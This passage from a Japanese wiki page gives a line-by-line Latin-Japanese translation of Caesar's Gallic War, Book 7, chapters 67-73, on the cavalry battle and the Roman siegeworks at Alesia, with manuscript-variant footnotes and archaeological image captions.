*Caesar suum quoque equitatum tripertito divisum contra hostem ire iubet. 
**カエサルは麾下の騎兵隊おのおのを3つに配分して、敵に対して向かって行くことを命じた。
*Pugnatur una omnibus in partibus. 
**（騎兵戦が）同時にすべての方面で戦われた。
*③　Consistit agmen; 
**（ローマ勢の）&lt;ruby&gt;&lt;rb&gt;行軍縦隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アグメン&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は一歩も引かなかった。
*impedimenta intra legiones recipiuntur. 
**[[w:輜重|輜重]]は諸[[w:ローマ軍団|軍団]]の内側に後退した。
*④　Si qua in parte nostri laborare aut gravius premi videbantur, 
**もし、我が方（ローマ勢）のある部隊が苦戦したり、またはひどく押されぎみだと思われたならば、
*eo signa inferri Caesar aciemque constitui&lt;ref&gt;constitui はα系写本の記述で、β系写本では converti 、T写本では conferri となっている。&lt;/ref&gt; iubebat; 
**カエサルはそこに進撃して戦列を組織することを命じた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：signa inferre「軍旗を進める、進撃する」）&lt;/span&gt;
*quae res et hostes ad insequendum tardabat et nostros spe auxilii confirmabat. 
**その事が、敵方が追撃して来るのを遅らせもしたし、我が方が支援の希望により元気付けられもした。
*⑤　Tandem Germani ab dextro latere summum iugum nacti hostes loco depellunt, 
**ついに、ゲルマニア人（騎兵）たちが右の側面から尾根の頂きを掌握して、敵方をその場から追いやった。
*fugientes usque ad flumen, 
**逃亡する（ガッリア騎兵の）者たちを川の辺りまで（追って）、
*ubi [[w:la:Vercingetorix|Vercingetorix]] cum pedestribus copiis consederat, 
**そこには[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]が[[w:歩兵|歩兵]]の軍勢とともに陣取っていたのだが、
*persecuntur&lt;ref&gt;persecuntur はα系写本の記述で、β系写本では persequuntur となっている。&lt;/ref&gt; compluresque interficiunt. 
**（ゲルマニア騎兵が敵を川辺まで）追撃して、かなりの者たちを殺戮した。
*⑥　Qua re animadversa 
**その事が（敵方に）気付かれて、
*reliqui ne circumirentur&lt;ref&gt;circumirentur はA･φ系写本の記述で、Q･β系写本では circumvenirentur となっている。&lt;/ref&gt; veriti se fugae mandant. 
**（ガッリア勢の）残りの者たちは、包囲されないようにと怖れて、逃亡に身を任せた。
*Omnibus locis fit caedes. 
**（こうしてローマ方により）あらゆる場所で虐殺が行なわれた。
*⑦　Tres nobilissimi [[w:la:Haedui|Haedui]] capti ad Caesarem perducuntur: 
**[[w:ハエドゥイ族|ハエドゥイー族]]の3人の高位の貴族が捕らえられて、カエサルのところへ連行されて来た。
*Cotus, praefectus equitum, qui controversiam cum Convictolitavi proximis comitiis habuerat, 
**コトゥスは騎兵指揮官で、最近の会議でコンウィクトリタウィスと（統領の座をめぐって）係争した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#32節|32節]]～33節を参照。）&lt;/span&gt;
*et Cavarillus, qui post defectionem Litavicci pedestribus copiis praefuerat, 
**カウァリッルスは、リタウィックスの背反の後に、歩兵の軍勢を指揮していた。
*et Eporedorix, quo duce ante adventum Caesaris Haedui cum Sequanis bello contenderant.
**エポレドリクスは、カエサルの到来以前にハエドゥイー族の将帥としてセクアニ族と戦争を闘っていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この人物は、ウィリドマルスとともにカエサルを裏切ったエポレドリクスとは同名異人である。）&lt;/span&gt;

==アレスィア攻囲戦==
===68節===
[[画像:Alésia.jpg|thumb|right|300px|[[w:アレシアの戦い|アレスィア古戦場]]であるとほぼ確実視されている仏アリーズ＝サント＝レーヌ村（[[w:fr:Alise-Sainte-Reine|Alise-Sainte-Reine]]）近郊のオソワ山（Mont Auxois）という丘陵の西端にある[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]像（&lt;small&gt;[[w:fr:Vercingétorix_(statue d'Aimé Millet)|Statue de Vercingétorix]]&lt;/small&gt;）。&lt;small&gt;[http://maps.google.co.jp/?ie=UTF8&amp;ll=47.538579,4.490544&amp;spn=0.001172,0.002401&amp;t=h&amp;z=19&amp;brcurrent=3,0x0:0x0,1 Googleマップ]&lt;/small&gt;の航空写真にもこの巨像が写っている。&lt;br&gt;当地はフランス東部[[w:ブルゴーニュ地域圏|ブルゴーニュ地方]][[w:コート＝ドール県|コート＝ドール県]]（&lt;small&gt;[[w:fr:Côte-d'Or|Côte-d'Or]]&lt;/small&gt;）のオソワ地域（&lt;small&gt;[[w:fr:Auxois (région)|L'Auxois]]&lt;/small&gt;）にあり、県都[[w:ディジョン|ディジョン]]市街から西北西へ約4.5kmの地点に位置する。ディジョン方面から県道905号（D905）を北西に進んで行くと、ヴナレ＝レ＝ローム（&lt;small&gt;[[w:fr:Venarey-les-Laumes|Venarey-les-Laumes]]&lt;/small&gt;）から東の郊外にかけて古戦場跡が広がる。&lt;br&gt;オソワ（Auxois）という地域名・山名は、ラテン語の Alesiensis pagus「アレスィア郷」が転訛し、アリーズ（Alise）の名もアレスィア（Alesia）に由来すると考えられている。サント＝レーヌ（[[w:fr:Sainte Reine|Sainte Reine]] 聖レグニア）とはこの地でAD252年に殉教したキリスト教徒ガッリア人女性で、カトリック教会から聖人に列せられている。]]

'''ウェルキンゲトリークスがアレスィア入城、カエサルは攻囲を決断'''
*①　Fugato omni equitatu 
**すべての[[w:騎兵|騎兵隊]]が逃げてしまったので、
*[[w:la:Vercingetorix|Vercingetorix]] copias suas&lt;ref&gt;suas はβ系写本の記述で、α系写本にはない。&lt;/ref&gt;, ut pro castris conlocaverat, reduxit 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、陣営の前に配置するようにしていた麾下の（歩兵の）軍勢を呼び戻して、
*protinusque [[w:la:Alesia|Alesiam]], quod est oppidum Mandubiorum, iter facere coepit 
**すぐに、マンドゥビイ族の&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;である[[w:アレシア|アレスィア]]へ行軍し始めた。
*celeriterque impedimenta ex castris educi et se subsequi iussit. 
**かつ、速やかに陣営から[[w:輜重|輜重]]を進発させること、および自分に追随すること、を命じた。
*②　Caesar impedimentis in proximum collem deductis, 
**カエサルは、輜重を近隣の丘陵に移させて、
*duabus legionibus praesidio relictis, 
**2個[[w:ローマ軍団|軍団]]を（輜重の）守備隊として（その丘陵に）残留させた。
*secutus quantum diei tempus est passum, 
**日中の時間が許される限り（ガッリア勢を）追跡して、
*circiter tribus milibus hostium ex novissimo agmine interfectis 
**敵方の後衛のうちから約3000人を殺戮して、
*altero die ad Alesiam castra fecit. 
**翌日には、アレスィアの辺りに陣営を張った。
*③　Perspecto urbis situ 
**（アレスィアの）都市の地勢を吟味して、
*perterritisque hostibus, quod equitatu, qua maxime parte exercitus confidebant, erant pulsi, 
**敵方は、部隊の大部分において頼りにしていた騎兵隊が撃退されていたので、怖れおののいていたから、
*adhortatus ad laborem milites circumvallare instituit.
**（カエサルは）兵士たちを労役に駆り立てて、（敵陣を）[[w:堡塁|堡塁]]で囲むことを決断した。

===69節===
[[画像:Alise2.jpg|thumb|right|300px|[[w:アレシア|アレスィア]]にあったローマ時代の[[w:フォルム|フォルム]]（広場）や[[w:バシリカ|バシリカ]]（教会堂）などと思われる遺跡（[http://maps.google.co.jp/?ie=UTF8&amp;t=h&amp;brcurrent=3,0x0:0x0,1&amp;ll=47.539477,4.5008&amp;spn=0.002343,0.004801&amp;z=18 Googleマップ]の航空写真を参照）。現在、オソワ山（Mont Auxois）と呼ばれているこの丘陵は、頂きが平坦な台地状になっており、その中央のさらに高い所に[[w:オッピドゥム|オッピドゥム]]（城塞都市）があったと思われる。&lt;br&gt;上の画像からは、同等の高さの丘陵が周囲を取り巻いていることが見て取れる。&lt;br&gt;『ガリア戦記』に書かれたアレスィアの所在地については諸説があって永らく不明であったが、ゲルゴウィアと同様に19世紀のウジェーヌ・ストッフェル大佐（colonel Eugène Stoffel）の発掘調査によってローマ軍の遺構などが発見され、地勢もカエサルの記述にかなり合っていると見なされて、オソワ山とその中腹にあるアリーズ＝サント＝レーヌが有力視されることになった。]]

'''アレスィアの地勢、ローマ軍の攻囲線'''
*①　Ipsum erat oppidum [[w:la:Alesia|Alesia]] in colle summo admodum edito loco, 
**[[w:アレシア|アレスィア]]の&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;そのものは、丘陵の頂きにおいて、ひときわ高い地点にあって、
*ut nisi obsidione expugnari non posse videretur. 
**攻囲（包囲）以外には攻略されることができないと思われた。
*②　Cuius collis radices duo duabus ex partibus flumina subluebant. 
**その丘陵のふもとを2つの方面から、2つの川が流れていた。
*③　Ante id&lt;ref&gt;id はα系写本の記述で、β系写本にはない。&lt;/ref&gt; oppidum planities circiter milia passuum Ⅲ(tria) in longitudinem patebat; 
**その城塞都市の前に、約3ローママイル（4.5km）の間隔で、平地が広がっていた。
*④　reliquis ex omnibus partibus colles mediocri interiecto spatio 
**ほかのすべての方面からは（いくつかの）丘陵が適度な空間を置いており、
*pari altitudinis fastigio oppidum cingebant. 
**同等の高さの頂上で（アレスィアの）城塞都市を取り巻いていた。
*⑤　Sub muro, quae pars collis ad orientem solem spectabat, 
**（アレスィアの）丘陵の日が昇る方（＝東方）へ面していた部分の城壁の下には、
*hunc omnem locum copiae Gallorum compleverant 
**このすべての場所を、ガッリア人たちの軍勢が満たしていて、
*fossamque et maceriam sex in altitudinem pedum praeduxerant. 
**堀、および高さ6[[w:ペース (長さ)|ペース]]（約1.8m）の防壁を前に引いていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:maceria|maceria]] は、軍事用語としては、立てこもるための城壁&lt;ref&gt;&lt;i&gt;muraille (pour se retrancher)&lt;/i&gt;（ラルース社の羅仏辞典 &lt;small&gt;“Dictionnaire MaxiPoche Plus latin-français et français-latin”&lt;/small&gt; を参照）&lt;/ref&gt;を指す。）&lt;/span&gt;
*⑥　Eius munitionis quae ab Romanis instituebatur circuitus XI&lt;ref&gt;XI はα系写本の記述で、β系写本では X となっている。&lt;/ref&gt; milia passuum tenebat. 
**ローマ人たちによって建てられようとしていた塁壁の周囲は、11ローママイル（約16km）を占めていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：α系写本では 11マイル＝約16km、β系写本では 10マイル＝約15km となっている。）&lt;/span&gt;
*⑦　Castra opportunis locis erant posita 
**（ローマ勢の）陣営は（戦略上）都合良い地点に設置されていて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：歩兵・騎兵の陣営が計8か所に置かれていたようである。）&lt;/span&gt;
*ibique&lt;ref&gt;ibique はα系写本の記述で、β系写本では itemque となっている。&lt;/ref&gt; castella XXIII(viginti tria) facta, 
**同じく23基の砦が造られた。
*quibus in castellis interdiu stationes ponebantur, 
**それらの砦には、昼間は、歩哨たちが置かれて、
*ne qua subito eruptio fieret; 
**不意に何らかの突撃がなされないようにした。
*haec eadem noctu excubitoribus ac firmis praesidiis tenebantur.
**この同じところが、夜間は、寝ずの番兵および強力な守備隊により固守された。

===70節===
'''カエサル麾下のゲルマニア騎兵が、再びガッリア騎兵を虐殺'''
*①　Opere instituto 
**（ローマ人により）[[w:堡塁|堡塁]]が建てられだして、
*fit equestre proelium in ea planitie, 
**かの平地において[[w:騎兵|騎兵]]戦がなされた。
*quam intermissam collibus tria milia passuum in longitudinem patere supra demonstravimus. 
**それ（平地）は（周囲の）丘陵から3ローママイル（約4.5km）の間隔を空けて広がっていることを、[[#69節|前]]に述べた。
*Summa vi ab utrisque contenditur. 
**（騎兵戦は）双方の主力によって闘われた。
*②　Laborantibus nostris Caesar Germanos submittit 
**苦戦している我が方（ローマ騎兵）に対して、カエサルは[[w:ゲルマニア|ゲルマニア]]人（騎兵）を援けに派遣した。
*legionesque pro castris constituit, ne qua subito inruptio ab hostium peditatu fiat. 
**諸[[w:ローマ軍団|軍団]]を陣営の前に駐留させて、不意に何らかの突入が敵方の[[w:歩兵|歩兵隊]]によってなされないようにした。
*③　Praesidio legionum addito nostris animus augetur; 
**軍団の守備が加わって、我が方（ローマ勢の）勇気が増された。
*hostes in fugam coniecti se ipsi multitudine impediunt 
**敵方（の騎兵）は敗走に追いやられて、彼ら自身が自分たち（の敗走）を大勢であることにより妨げた。
*atque angustioribus portis relictis coacervantur&lt;ref&gt;coacervantur は近世の写本(ς)の記述で、α系写本では coacervati tum 、β系写本では coartantur となっている。&lt;/ref&gt;. 
**さらに（ガッリア陣地の）諸門がとても狭いままにしておかれたので（騎兵たちが）積み重ねられた。
*④　Germani acrius usque ad munitiones sequuntur. 
**ゲルマニア人（騎兵）たちは（ガッリア騎兵たちを）苛烈に、防塁のところまで追撃した。
*⑤　Fit magna caedes. 
**（こうして）大虐殺が起こった。
*Nonnulli relictis equis fossam transire et maceriam transcendere conantur. 
**（ガッリア騎兵の）幾人かは、馬を置き去りにして、堀を越えること、および防壁を登り越えることを試みた。
*Paulum legiones Caesar quas pro vallo constituerat promoveri iubet. 
**カエサルは、防柵の前に駐留させていた諸軍団に、いくらか前進することを命じた。
*⑥　Non minus qui intra munitiones erant perturbantur Galli: 
**防塁の内側にいたガッリア人たちも（騎兵たちに）劣らず狼狽した。
*veniri ad se confestim existimantes ad arma conclamant; 
**（ローマ勢により）自分たちのところへ直ちにやって来られると考えた者たちは、防具を取れと叫んだ。
*nonnulli perterriti in oppidum inrumpunt. 
**（ガッリア勢の）幾人かは、怖れおののいて（丘陵の頂きにある）城塞都市の中に押し入った。
*⑦　[[w:la:Vercingetorix|Vercingetorix]] iubet portas claudi, ne castra nudentur. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、陣営が無防備にされないように、（防塁の）諸門が閉じられることを命じた。
*Multis interfectis, compluribus equis captis Germani sese recipiunt.
**（ガッリア騎兵の）多くが殺戮され、おびただしい馬が捕獲されて、ゲルマニア人（騎兵）たちは退却した。

===71節===
[[画像:Statue_Vercingetorix_st_germain_en_laye.JPG|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の立像（&lt;small&gt;パリ郊外の[[w:サン＝ジェルマン＝アン＝レー|サン＝ジェルマン＝アン＝レー]] [[w:fr:Saint-Germain-en-Laye|Saint-Germain-en-Laye]]&lt;/small&gt;）。[[w:アレシアの戦い|アレスィア古戦場]]（&lt;small&gt;現在のアリーズ＝サント＝レーヌ&lt;/small&gt;）にある巨大な銅像と同様に彫刻家エメ・ミレ（[[w:fr:Aimé Millet|Aimé Millet]]）によって建立された。]]
[[画像:Napoleon3.PNG|thumb|right|250px|ウジェーヌ・ストッフェル大佐（colonel Eugène Stoffel）をして[[w:アレシア|アレスィア]]およびゲルゴウィアの発掘調査をさせた立役者･皇帝[[w:ナポレオン3世|ナポレオン3世]]の肖像。[[w:ガリア起源説|ガッリア起源説]]により、王政に反感を持つフランスの共和派や庶民は、旧[[w:ブルボン家|ブルボン王朝]]を[[w:クロヴィス1世|クロヴィス]]や[[w:ユーグ・カペー|カペー]]にさかのぼるゲルマン系の[[w:フランク人|フランク人]]と見なし、自分たちのルーツを[[w:ケルト人|ケルト系]]の古代[[w:ガリア人|ガッリア人]]に求めた。ナポレオン3世はこのような国民の意識を利用して、[[w:ナショナリズム|ナショナリズム]]の高揚および帝政の基盤強化を図ったのである。]]

'''ウェルキンゲトリークスが援兵召集のため騎兵を放ち、籠城策を定める'''
*①　[[w:la:Vercingetorix|Vercingetorix]], priusquam munitiones ab Romanis perficiantur, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、ローマ人たちによって塁壁が完成されるより前に、
*consilium capit omnem ab se equitatum noctu dimittere. 
**自分のところから[[w:騎兵|騎兵隊]]のすべてを夜間に送り出すことを計画した。
*②　Discedentibus mandat 
**（アレスィアから）退去する（騎兵の）者たちに（以下のように）指図した。
*ut suam quisque eorum civitatem adeat 
**彼ら（騎兵）のおのおのが自らの部族に行くように、
*omnesque qui per aetatem arma ferre possint ad bellum cogant. 
**かつ、年齢により武器を手に取ることができる者たちの皆を戦争へ徴集するように、と。
*③　Sua in illos merita proponit obtestaturque 
**（ウェルキンゲトリークスは）彼ら（ガッリア人たち）における自分の功績に言及して（以下のように）懇願した。
*ut suae salutis rationem habeant 
**自分の身の安全を顧慮してくれるように、
*neu se optime de communi libertate meritum in cruciatum hostibus&lt;ref&gt;in cruciatum hostibus はβ系写本の記述で、α系写本では hostibus in cruciatum となっている。&lt;/ref&gt; dedant. 
**かつ（ガッリア）共通の自由について功績が最上である自分を、敵方の責め苦に渡すことがないように、と。
*Quod si indiligentiores fuerint, 
**ところが、もし（騎兵たちがウェルキンゲトリークスたちの安全に）無関心であったならば、
*milia hominum delecta octoginta una secum interitura demonstrat. 
**選りすぐりの兵員8万名が自分と一緒に滅びるであろう、と明言した。
*④　Ratione inita frumentum se exigue dierum XXX(triginta) habere&lt;ref&gt;frumentum ～ habere はβ系写本の記述で、χ系･φ系あるいはモイゼル H. Meusel の修正提案など、写本や校訂者により語順が異なっていたり、単語が欠けていたりする。&lt;/ref&gt;, 
**見積もったところ、自分たちはわずかに30日分の穀物を保有しているが、
*sed paulo etiam longius tolerari posse parcendo. 
**しかし節約することにより、なおいくらか長く耐え忍ぶことができる、と。
*⑤　His datis mandatis, 
**これらの指図を与えてから、
*qua erat nostrum opus&lt;ref&gt;erat nostrum opus はβ系写本の記述で、α系写本では単に opus erat となっている。&lt;/ref&gt; intermissum, secunda vigilia silentio equitatum mittit&lt;ref&gt;mittit はχ系･B･M･S写本の記述で、β系写本では dimittit となっている。&lt;/ref&gt;. 
**我が方（ローマ勢）の構築物が中断しているところから、第二夜警時に静けさのうちに、騎兵隊を送り出した。
*⑥　Frumentum omne ad se referri iubet, 
**穀物をすべて自分のところへ運んで来ることを命じて、
*capitis poenam iis qui non paruerint constituit; 
**服従しなかった者たちを極刑に処すと決めた。
*⑦　pecus, cuius magna erat copia a Mandubiis&lt;ref&gt;a Mandubiis はβ系写本の記述で、α系写本では ab Manduviis となっている。&lt;/ref&gt; compulsa, viritim distribuit; 
**家畜は、マンドゥビイ族によって大量に集められていたが、個々に分配した。
*frumentum parce et paulatim metiri instituit; 
**穀物を節約して少しずつ量り分けることを定めた。
*⑧　copias omnes quas pro oppido collocaverat in oppidum recepit. 
**&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の前に駐留させていた（歩兵の）軍勢すべてを城塞都市の中に退却させた。
*⑨　His rationibus auxilia Galliae exspectare et bellum parat administrare&lt;ref&gt;parat administrare はα系写本の記述で、β系写本では administrare parat となっている。&lt;/ref&gt;.
**これらの手段により、ガッリア（諸部族）の援軍を待つこと、および戦争を指導しようとしたのである。

===72節===
'''カエサルが、より大掛かりな攻囲陣地を構築する'''
*①　Quibus rebus cognitis&lt;ref&gt;cognitis がこの位置にあるのはα系写本の記述で、β系写本では captivis の後となっている。&lt;/ref&gt; ex perfugis et captivis 
**それらの事情を脱走兵たちや捕虜たちから知って、
*Caesar haec genera munitionis instituit. 
**カエサルは以下の類いの塁壁工事に取りかかった。
&lt;br&gt;

*'''前線の切り立った空堀'''
*Fossam pedum XX(viginti) derectis lateribus duxit, 
**20[[w:ペース (長さ)|ペース]]（約6m）の（幅の）垂直な側面の堀を引いた。
*ut eius fossae&lt;ref&gt;fossae がこの位置にあるのはβ系写本の記述で、α系写本では summa(e) の後になっている。&lt;/ref&gt; solum tantundem pateret, quantum summa&lt;ref&gt;summa はβ系写本の記述で、α系写本では summae となっている。&lt;/ref&gt; labra distarent&lt;ref&gt;distarent はα系写本の記述で、β系写本では distabant となっている。&lt;/ref&gt;. 
**その堀（の底）は、頂きの縁が離れているのとちょうど同じ分だけ広がるようにした。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：上辺と底の幅が等間隔になるような切り立った空堀にした。）&lt;/span&gt;
*②　Reliquas omnes munitiones ab ea fossa pedes&lt;ref&gt;pedes はα系写本の記述で、β系写本では pedibus となっている。&lt;/ref&gt; CCCC(quadringentos) reduxit. 
**ほかのすべての塁壁は、その堀から400ペース（約120m）後ろに引いた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：写本にあるこの数字は、19世紀のウジェーヌ・ストッフェル大佐（colonel Eugène Stoffel）の&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;発掘調査によって400[[w:パッスス|パッスス]]（約600m）と修正された。この堀は、アレスィアの西方に引かれたと思われる。）&lt;/span&gt;
*Id hoc consilio, 
**それは、以下の考えによる。
*quoniam tantum spatium necessario esset&lt;ref&gt;spatium necessario esset はβ系写本の記述で、α系写本では esset necessario spatio となっている。&lt;/ref&gt; complexus 
**これほどの空間が包囲されなければならないのであるから、
*nec facile totum corpus&lt;ref&gt;corpus はα系写本の記述で、β系写本では opus となっており、ρ系写本にはない。&lt;/ref&gt; corona militum cingeretur, 
**すべての包囲作業が兵士たちの&lt;ruby&gt;&lt;rb&gt;哨兵線&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コロナ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で取り囲まれるのは容易ではない。
*ne de improviso aut noctu ad munitiones hostium multitudo&lt;ref&gt;hostium multitudo はα系写本の記述で、β系写本では multitudo hostium となっている。&lt;/ref&gt; advolaret 
**不意に、あるいは夜間に、敵方の大勢が（ローマ側の）塁壁へ突進することがないように、
*aut interdiu tela in nostros operi destinatos conicere possent&lt;ref&gt;possent はα系写本の記述で、β系写本では posset となっている。&lt;/ref&gt;. 
**あるいは日中に、工事中の我が方（ローマ勢）に飛道具が投げ付けられることができないように。
&lt;br&gt;

[[画像:Fosse.Saint.Pierre.en.Chastres.png|thumb|right|300px|二重の堀およびその背後の堡塁（土塁と障壁・櫓）の模式図（[[w:ウジェーヌ・エマニュエル・ヴィオレ・ル・デュク|ヴィオレ＝ル＝デュク]]著『中世フランス建築体系辞典』[[s:fr:Dictionnaire raisonné de l’architecture française du XIe au XVIe siècle - Tome 5, Fossé|(s)]]より）。]]
[[画像:AlesiaFortifications.JPG|thumb|right|300px|[[w:アレシアの戦い|アレスィア古戦場]]跡に再現された、二重の堀およびその背後の堡塁（土塁と鹿柴、胸壁・鋸壁、櫓）。]]

*'''二重の堀'''
*③　Hoc intermisso spatio 
**この空間をあけて、
*duas fossas XV(quindecim) pedes latas eadem altitudine perduxit; 
**15ペース（約4.5m）の幅の2つの堀を、同じ深さ（15ペース）で張り巡らせた。
*quarum interiorem campestribus ac demissis locis 
**それらの内側（の堀）の平地で低く下がった所には、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：内側の堀とは、アレスィアに近い東側の堀と考えられている。）&lt;/span&gt;
*aqua ex flumine derivata complevit. 
**川から導かれた水で満たした。
&lt;br&gt;

*'''土塁と防柵、胸壁と鋸壁、鹿柴、櫓'''
*④　Post eas aggerem ac vallum XII(duodecim) pedum exstruxit. 
**それらの後ろには、12ペース（約3.6mの高さ）の&lt;ruby&gt;&lt;rb&gt;[[w:土塁|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;防柵&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウァッルム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を築き上げた。
*Huic loricam pinnasque adiecit 
**これに&lt;ruby&gt;&lt;rb&gt;胸壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ロリカ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;鋸壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピンナ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を付け加えて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：胸壁と鋸壁とは、[[ガリア戦記 第5巻#40節|第5巻40節]]で既出のように、凹凸形に編み込まれた柴の壁）&lt;/span&gt;
*grandibus cervis eminentibus ad commissuras pluteorum atque aggeris, 
**障壁と土塁の接合部の辺りに大きな&lt;ruby&gt;&lt;rb&gt;鹿柴&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケルウス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を突き出させて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：&lt;ruby&gt;&lt;rb&gt;鹿柴&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ろくさい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（鹿砦または&lt;ruby&gt;&lt;rb&gt;逆茂木&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さかもぎ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;）とは、鹿の角のように枝分かれした杭や枝を逆立てた杭囲い。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;障壁とは、防柵の前に取り付けられた胸壁と鋸壁の総称であろう。）&lt;/span&gt;
*qui ascensum hostium tardarent, 
**敵方が登って来るのを妨げようとした。
*et turres toto opere circumdedit, quae pedes LXXX(octoginta) inter se distarent.
**構築物の全体を、互いに80ペース（約24m）離れて立つ櫓で取り巻いた。

===73節===
'''カエサルは、攻囲陣地をさらに障害物で補強する'''
*①　Erat eodem tempore et materiari et frumentari et tantas munitiones fieri necesse 
**材木収集と糧食徴発、およびこれほどの塁壁工事がなされることが、同時に必要であった。
*deminutis nostris copiis, quae longius ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; castris progrediebantur. 
**我が方の軍勢（ローマ勢）は減じており、陣営からはるか遠くに進み出ていた。
*Ac nonnumquam opera nostra Galli temptare 
**いくたびか、我が方の構築物に、ガッリア人が攻撃すること（を試み）、
*atque eruptionem ex oppido pluribus portis summa vi facere conabantur. 
**かつ、&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の多くの門から、主力でもって出撃することを試みた。
*②　Quare ad haec rursus opera addendum Caesar putavit, 
**そのゆえに、この構築物へさらに（以下の障害物が）付け加えられるべきだとカエサルは考えた。
*quo minore numero militum munitiones defendi possent. 
**それによって、より少ない数の兵士で塁壁が防衛されることができるように、と。
[[画像:Archeodrome_Beaune_8.jpg|thumb|right|300px|[[w:アレシアの戦い|アレスィア古戦場]]跡に再現された攻囲陣地（上の画像と同じ物）。堡塁（土塁と障壁と櫓）の前の平地に、樹枝が突き出た「尖り杭」（奥）と落とし穴を枝で覆った「百合」（手前）が見える。]]
[[画像:Trous.de.loup.png|thumb|right|300px|サイコロの五つ目状に並べられた落とし穴「百合」（lilium）の模式図（[[w:ウジェーヌ・エマニュエル・ヴィオレ・ル・デュク|ヴィオレ＝ル＝デュク]]著『中世フランス建築体系辞典』[[s:fr:Dictionnaire raisonné de l’architecture française du XIe au XVIe siècle - Tome 5, Fossé|(s)]]より）。図の上部が五つ目状の配列を、図の下部が落とし穴の断面図を示す。この断面図では、尖らされた樹幹の先端が、傾斜した穴の突き固められた底から4本指ほど突き出ていると解釈しているようである。カエサルの記述からは、地表から突き出ているとも解釈できる。]]
[[画像:Aiguillon.png|thumb|right|200px|鉄の鉤が固定された杭「刺」の模式図（[[w:ウジェーヌ・エマニュエル・ヴィオレ・ル・デュク|ヴィオレ＝ル＝デュク]]著『中世フランス建築体系辞典』[[s:fr:Dictionnaire raisonné de l’architecture française du XIe au XVIe siècle - Tome 5, Fossé|(s)]]より）。]]
[[画像:Archeodrome_Beaune_2.jpg|thumb|right|300px|[[w:アレシアの戦い|アレスィア古戦場]]跡に再現された攻囲陣地（上の画像と同じ物）。いちばん手前に「刺」が再現されている。]]
:　
'''尖り杭'''
*Itaque truncis arborum aut admodum firmis ramis abscisis 
**こうして、樹木の幹、あるいは非常に強固な枝が切り取られて、
*atque horum delibratis ac praeacutis cacuminibus 
**これらの皮がむかれて、&lt;ruby&gt;&lt;rb&gt;梢&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こずえ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;尖&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;とが&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;らされて、
*perpetuae fossae quinos pedes altae ducebantur. 
**5[[w:ペース (長さ)|ペース]]（約1.5m）ずつの連続した堀が引かれた。
*③　Huc illi stipites demissi 
**ここに、あの樹幹が沈められて、
